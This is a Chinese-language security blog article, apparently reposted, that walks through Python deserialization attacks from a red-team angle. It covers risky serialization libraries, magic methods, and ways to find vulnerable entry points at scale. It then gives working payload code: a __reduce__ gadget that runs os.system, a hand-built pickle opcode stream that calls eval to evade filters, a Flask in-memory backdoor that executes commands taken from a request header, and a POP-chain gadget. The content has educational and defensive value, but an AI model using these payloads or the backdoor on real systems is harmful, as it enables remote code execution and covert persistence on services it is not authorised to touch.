Python反序列化:谁说Python只有pickleRCE?

admin 2025-12-22 03:46:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章深入探讨了Python反序列化安全问题,打破了Python只有pickleRCE的误解,详细介绍了多种序列化库的风险、魔术方法在反序列化中的作用,以及四种高级利用技术:魔术方法劫持、Opcode级手工构造、内存马注入与持久化、POP链构造与属性污染。文章还提供了规模化发现Python反序列化漏洞的方法,包括白盒、灰盒和黑盒技术,为安全研究人员和红队提供了实用的攻击面建模和漏洞利用策略。 综合评分: 92 文章分类: 漏洞分析,渗透测试,代码审计,WEB安全,安全工具


cover_image

Python反序列化:谁说 Python 只有 pickle RCE?

原创

Liam

说说别的

2025年12月21日 10:01 广东

“本文仅限合法授权下的教育与技术交流。本文不会提供可直接复现的利用 PoC 下载或可执行代码;若需开展渗透测试,请获取目标单位书面授权并签署测试范围与豁免协议(POA)。任何未经授权的测试均属违法,本人不对滥用行为负责。”

     Java 有 CC 链,PHP 有 POP 链,Python 却被认为只有一个 pickle RCE?本文将带你深入 PVM 虚拟机底层,解析 4 种让防御侧防不胜防的反序列化利用姿势,实现从代码审计到内存持久化的全链路突破。

01

Python 反序列化长期被低估

在反序列化利用领域,Java 有 Commons-Collections,PHP 有 POP Chain,而 Python 却长期被认为“只有一个 pickle RCE”。

这是一个严重误判。

在真实红队项目中,Python 反序列化的价值并不体现在“payload 多复杂”,而体现在:

  • Python 无沙箱、强反射、强动态
  • 大量业务层自动反序列化
  • AI / MLOps / 任务队列 / 配置系统天然依赖 pickle
  • 防御侧误判为内部数据、不做任何校验

结论一句话:Python 反序列化是“低噪音、高成功率”的初始访问与横向支点。

02

Python 序列化攻击面

简要总结主要序列化库及其风险语义(用于建立攻击面目录):

  • pickle / cPickle,是 Python 的序列化模块,用于将 Python 对象(如列表、字典、类实例等)转换为字节流(序列化)以便存储或传输,并能从字节流恢复为原对象(反序列化)。

  • 常见函数:pickle.loads, pickle.load, pickle.Unpickler

  • 风险:高/严重,能反序列化任意对象并触发对象的魔术方法(__setstate__、__reduce__等)。

  • 场景:模型文件、session、缓存、RPC(远程过程调用)、持久化文件。

  • cloudpickle,是 pickle 的增强版,专门设计用于在分布式计算和云环境中序列化更复杂的 Python 对象(如函数、lambda、类、闭包等),解决标准 pickle 在序列化某些对象时的局限性。

  • 常见函数:cloudpickle.loads, cloudpickle.dumps

  • 风险:高。cloudpickle 能序列化更多 Python 对象(lambda、局部函数、闭包),因此 gadget (中文翻译为小工具)空间更大。

  • PyYAML,是 Python 中处理 YAML 格式数据的核心库,用于将 YAML 配置文件和数据序列化为 Python 对象,以及将 Python 对象反序列化为 YAML 格式,广泛用于配置管理、数据交换和持久化。

  • 常见函数:yaml.load, yaml.FullLoader vs yaml.safe_load

  • 风险:高(yaml.load默认会构建任意对象);建议使用 yaml.safe_load 或受限 Loader。

  • marshal,是 Python 内置的底层二进制序列化模块,专门用于快速读写 Python 字节码(.pyc 文件),性能极高但功能受限,通常仅用于 Python 解释器内部,不适用于通用数据序列化。marshal不仅用于 .pyc文件,更危险的是它能反序列化 code object。这意味着如果攻击者能控制 marshal.loads()的输入,就能直接在目标进程中加载任意 Python 字节码,绕过绝大多数基于源代码的审计。

  • 常见函数:marshal.loads

  • 风险:高 — 但主要用于 Python 内部对象(非跨版本),存在构造任意 code 对象的危险点。

  • shelve,是 Python 内置的持久化字典模块,它将 pickle 与键值数据库(如 dbm)结合,让 Python 字典可以自动将数据持久化到磁盘文件,支持类似字典的接口进行数据存储和检索。

  • 风险:高(内部使用 pickle);持久化文件为攻击面。

  • json(标准),是 Python 内置的 JSON(JavaScript Object Notation)处理模块,用于在 Python 对象和 JSON 字符串之间进行序列化和反序列化。

  • 常见函数:json.loads, json.load

  • 风险:低(只生成原生类型),但object_hook / object_pairs_hook被误用可能引入执行逻辑。

03

魔术方法与反序列化生命周期

重要的魔术方法与它们在对象序列化/反序列化时的触发点:

  • __getstate__ / __setstate__

  • __getstate__:对象被 pickle 时调用,决定序列化哪些状态。

  • __setstate__:反序列化时调用,用于恢复对象状态。危险点:会在不受信任的上下文被执行。

  • __reduce__ / __reduce_ex__

  • 返回 (callable, args)或更复杂的结构,Unpickler 会基于它来重建对象,进而调用任意 callable。

  • __getnewargs__ / __getnewargs_ex__ / __getinitargs__

  • 在 pickling/unpickling 的对象构造流程中被使用,可能在构造期间安排额外的调用。

  • __setattr__ / __getattr__ / __getattribute__

  • 虽然不是序列化专有,但通过属性访问链构造 POP(property-oriented programming)链时非常关键。

Unpickler 在重建对象时不是简单“粘贴内存”,而是按规则调用构造器/恢复钩子——这些钩子提供了“可控的执行点”。这正是 gadget 搜索与连锁(POP 链)的基础。

POP 链利用目标环境中已有的“可以被反序列化触发的对象/可调用路径”,让 Unpickler 在恢复对象时执行一系列预期外的调用,最终触发危险行为(例如命令执行、网络请求、文件 I/O 等)。

gadget 不一定是“恶意类”,而是“可被滥用的类/函数组合”。

利用路径一:__reduce__ 劫持 (最常见)

  • 触发条件:对象定义了 __reduce__ 或 __reduce_ex__ 。
  • 攻击钩子:反序列化时,Unpickler 会无条件调用该方法返回的 (callable, args) 元组 。
  • 后果:直接执行任意可调用对象(如 os.system),实现 RCE 。

利用路径二:__setstate__ 状态注入

  • 触发条件:对象定义了 __setstate__ 方法 。
  • 攻击钩子:在恢复对象状态时,攻击者控制的 state 字典被传入该方法
  • 后果:触发非预期的副作用,如修改系统逻辑或触发后续的危险函数 。

利用路径三:属性访问与属性驱动编程 (POP)

  • 触发条件:在还原过程中发生属性访问(Property Access)。
  • 攻击钩子:通过劫持 __getattr__ 或 __getattribute__ 触发二级链条。
  • 后果:将多个合法的类方法组合起来,形成最终的攻击链(POP Chain Principle)。

04

入口理解

红队不是找函数,而是找“反序列化入口”

真正有价值的入口通常满足三个条件:

| 条件 | 解释 | | — | — | | 自动触发 | 程序“帮你”调用 loads() | | 数据可控 | 你能影响反序列化内容 | | 上下文敏感 | 反序列化发生在高权限/高信任环境 |

真实世界常见入口

| 框架 | 重点看 | | — | — | | Django | session serializer/ cache backend | | Flask | session / itsdangerous | | Celery | accept_content/task_serializer | | MLflow | artifact load | | joblib | load / dump | | shelve | open |

一句话定义:

Python 反序列化 ≠ 数据恢复

Python 反序列化 = 对象重建 + 函数调用调度

反序列化时,以下方法不是被动调用,而是主动执行

  • __reduce__
  • __reduce_ex__
  • __setstate__
  • 构造函数 / callable

05

如何规模化发现 Python 反序列化

红队难点在于:

如何在成百上千个 Python 服务中,快速找出“值得打”的反序列化点。

规模化发现的目标只有一个:

找出「可被外部影响、自动反序列化、且位于高价值执行上下文」的点

5.1 攻击面建模:先缩小 90% 的无效目标

优先级

反序列化风险 = 可控性 × 自动性 × 权限上下文

| 维度 | 红队关心什么 | | — | — | | 可控性 | 数据是否来自 HTTP / MQ / Redis / 文件同步 | | 自动性 | 是否无需用户交互即可触发 | | 权限 | worker / API / AI 节点 / 内网 |

5.2 白盒规模化发现(CMS源码 )

第一层:危险 API 定位(但不止 grep)

你关心的不

pickle.loads(...)

而是它的数据来源

高价值模式:

pickle.loads(request.data)pickle.loads(request.body)pickle.loads(request.cookies.get())pickle.loads(redis.get())pickle.loads(cache.get())pickle.loads(msg.body)pickle.loads(open(file))

这些模式意味着:

攻击者可控 + 自动触发


第二层:AST 级静态分析(可自动化)

核心思想:

只标记“反序列化 + 非本地常量输入”

这段代码在扫描 Python 源代码,寻找可能包含安全风险的 pickle.load() 或 pickle.loads() 调用,特别是当这些调用使用了来自网络请求(request)、Redis 或缓存(cache)等不可信来源的数据时。

import astclass UnpickleVisitor(ast.NodeVisitor):    def visit_Call(self, node):        if is instance(node.func, ast.Attribute):            if node.func.attr in ("loads","load"):            # 判断是否 pickle / cloudpickle / marshal            src = ast.unparse(node.args[0]) if node.args else""            if "request" in src or "redis" in src or "cache" in src:                print("[HIGH]", node.lineno, src)        self.generic_visit(node)

红队价值:

  • 极低误报
  • 可跑在 CI / Git 仓库 / 镜像解包中
  • 能快速定位“可打点”

5.3 灰盒发现:你只有接口,没有源码

这是红队最常见的情况。

5.3.1 行为侧信道探测(而不是爆破)

原则

不用 RCE payload,只用 无害 marker

Marker 设计目标

  • 不执行系统命令
  • 不联网
  • 但能 改变程序可观测行为

常见 marker 行为

  • 程序响应时间变化
  • 500 → 200
  • 日志异常
  • cache 命中变化
  • worker 重启

5.3.2 典型探测点

| 接口类型 | 为什么可疑 | | — | — | | /upload | 文件 → load | | /import | 数据导入 | | /task/submit | MQ | | /model/load | ML | | /config/apply | 配置反序列化 |


5.3.3 灰盒探测逻辑(红队流程)

1. 找到疑似“二进制 / base64”参数2. 投递安全 marker payload3. 观察:   - 响应   - 延迟   - 行为变化4. 只要一次成功 → 高价值点

5.4 黑盒规模化发现(无源码、无日志)

5.4.1 红队思路

黑盒阶段,不是“确认 RCE”,

而是“确认 是否存在反序列化执行路径”。

5.4.2 判断信号

| 信号 | 含义 | | — | — | | 同一请求 payload 导致不同 worker 行为 | MQ / pickle | | 500 且无堆栈 | 反序列化异常 | | 响应卡死后恢复 | 执行阻塞 | | cache 被污染 | 反序列化写入 |

06

如何利用Python反序列化漏洞

红队视角下,反序列化至少经历:

  1. 对象重建
  2. 状态恢复
  3. 属性绑定
  4. 框架层再处理(session / cache / task)

可利用点远不止 __reduce__还有

  • __setstate__
  • __getattr__
  • __call__
  • 框架自动 hook

红队的 Gadget 思维不是“写一个类”,

目标不是:  → 执行 os.system目标是:  → 借助“已有对象行为”完成执行

这也是为什么:

  • requests
  • celery
  • flask
  • django
  • sklearn
  • mlflow

都可以成为 Gadget 池。

真实环境中,比较容易成功的反序列化利用是:

  • 修改行为(proxy / hook / handler)
  • 持久化内存状态
  • 注入回调,而不是 exec

具体利用的4个方法:

| 方法 | 核心目标 | 涉及库 | 攻击关键魔术方法 | 隐蔽性/复杂度 | 目标代码架构要求 | | — | — | — | — | — | — | | 基础魔术方法劫持 (Classic RCE) | 获取初始访问权限,直接执行系统命令 | pickleossubprocess | __reduce____reduce_ex__ | 低隐蔽 / 极低复杂度 :易被 WAF 拦截关键字 | 存在 pickle.loads() 且未过滤敏感模块,允许执行系统调用 | | Opcode 级手工构造 (Stealth RCE) | 绕过关键字过滤(如黑名单禁用 reduce) | picklebuiltins (eval) | 无需魔术方法 :直接劫持 PVM 指令流 | 高隐蔽 / 中复杂度 :不含敏感类定义,代码呈字节码态 | 目标后端仅通过正则扫描源代码字符串,而非深度解析序列化逻辑 | | 内存马注入与持久化 (Persistence) | 权限维持,实现无文件、无进程后门 | pickleflasksys | __reduce__ 配合 exec() 逻辑注入 | 极高隐蔽 / 高复杂度 :驻留解释器内存,不产生新连接 | 基于 Flask/Django 等 Web 框架,且反序列化点位于常驻进程上下文中 | | POP 链构造与属性污染 (Logic Hack) | 绕过沙箱限制,篡改业务逻辑或外带数据 | picklerequests, 业务类 | __setstate____getattr____del__ | 极高隐蔽 / 极高复杂度 :利用“合法”逻辑组合攻击 | 目标代码中存在具有复杂魔术方法的类,且业务逻辑中存在对象属性的二次调用 |

方法一:魔术方法劫持 (Classic RCE)

这是利用 __reduce__ 触发代码执行的最基础模型,适用于快速验证漏洞。

  • 代码实现:
import pickleimport base64class Exploit:    def __reduce__(self):        import os        # 核心逻辑:返回一个函数对象及其参数元组        # 反序列化时将直接执行 os.system('whoami')        return (os.system, ('whoami',))payload = base64.b64encode(pickle.dumps(Exploit())).decode()print(f"基础 RCE Payload: {payload}")
  • pickle.loads() 在重建对象时,若发现 __reduce__,会无条件调用其中的 callable 对象 。这是 Python 原生反序列化最经典的风险点
  • 注意:如果参数元组只有一个元素,必须写成 (‘whoami’,)(带逗号),否则 Python 会将其解析为普通字符串,导致反序列化失败

方法二:Opcode 级手工构造 (Stealth RCE)

这是针对高级防护的绕过手法。 它的特点是不定义类,直接编写 PVM 指令,从而避开 WAF 对 __reduce__ 等关键字的扫描。

  • 代码实现:
# 手工编写 Pickle 字节码指令流# c: 导入模块/函数; (: 压入 MARK; V: 压入字符串; t: 组成元组; R: 调用函数 # 下面这段代码等价于执行 eval("__import__('os').system('id')")opcode_payload = b"cbuiltins\neval\n(V__import__('os').system('id')\ntR."import pickletoolsprint("--- 指令流逻辑分析 ---")pickletools.dis(opcode_payload) # 打印 PVM 栈机的执行步骤final_payload = base64.b64encode(opcode_payload).decode()print(f"纯字节码绕过 Payload: {final_payload}")
  • 通过 \n 定界符手动构造指令 ,利用 c 指令动态获取 builtins.eval,完全避开了“恶意类”的静态特征,具备极强的隐蔽性。

方法三:逻辑污染与内存持久化 (Memory Shell)

利用反序列化修改运行时状态,在 Web 框架(如 Flask)中植入内存后门 。

  • 代码实现:
import pickleimport base64INJECT_SCRIPT = """import sys# 动态寻找 Flask App 实例app = sys.modules.get('flask').current_app if 'flask' in sys.modules else Noneif app:    @app.before_request    def backdoor():        from flask import request        import os        cmd = request.headers.get('X-Cmd')        if cmd: return os.popen(cmd).read(), 200"""class Persistence:    def __reduce__(self):        # 借助还原过程执行 exec,将 Hook 注入 Flask 内存        return (exec, (INJECT_SCRIPT,))payload = base64.b64encode(pickle.dumps(Persistence())).decode()
  • “` 此手法通过 sys.modules 劫持当前进程的内存对象 ,不产生新进程,通过劫持请求钩子(Hook)实现长期潜伏 。
---

### 方法四:POP 链构造与属性污染 (Logic Hack)

在受限环境下,通过操作对象间的属性引用关系,诱导程序走向危险逻辑 。

* **代码实现**

import pickleimport base64# — 目标服务器上的“合法”代码架构 —class DataHandler:    def init(self):        self.config = “normalconfig”    def setstate(self, state):        # 1. 自动恢复属性        self.dict.update(state)         # 2. 危险点:业务逻辑自动触发了 callback 属性中的 run 方法        if hasattr(self, ‘callback’):            print(“[*] 正在执行业务回调…”)            self.callback.run()# — 攻击者构造的“毒药”类 —class ExploitGadget:    def run(self):        import os        # 实际攻击中这里会是反弹 shell        os.system(‘whoami’)# — 攻击步骤 —# 1. 攻击者本地构造一个 DataHandler 实例evilhandler = DataHandler()# 2. 核心:将原本正常的 callback 属性修改为恶意的 ExploitGadget 对象evilhandler.callback = ExploitGadget()# 3. 序列化生成 Payloadpayload = base64.b64encode(pickle.dumps(evilhandler)).decode()print(f”[+] 构造的 POP 链 Payload: {payload}”)# — 模拟目标后端接收并执行 —# pickle.loads(base64.b64decode(payload)) # 这行会触发 whoami “`

  • 这是属性驱动编程(POP)的典型体现 ,利用反序列化时自动调用的 __setstate__ ,将攻击逻辑隐藏在正常的业务类交互中。

“本文仅限合法授权下的教育与技术交流。本文不会提供可直接复现的利用 PoC 下载或可执行代码;若需开展渗透测试,请获取目标单位书面授权并签署测试范围与豁免协议(POA)。任何未经授权的测试均属违法,本人不对滥用行为负责。”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:说说别的 Liam《Python反序列化:谁说 Python 只有 pickle RCE?》

世纪网安舔狗钓鱼记 网络安全文章

世纪网安舔狗钓鱼记

文章总结: 这篇文章描述了一次针对网络安全从业人员的钓鱼攻击案例,作者以介绍女生为诱饵,诱导目标人物马喽哥下载GitHub上的恶意工具,该工具能获取浏览器信息。
评论:0   参与:  0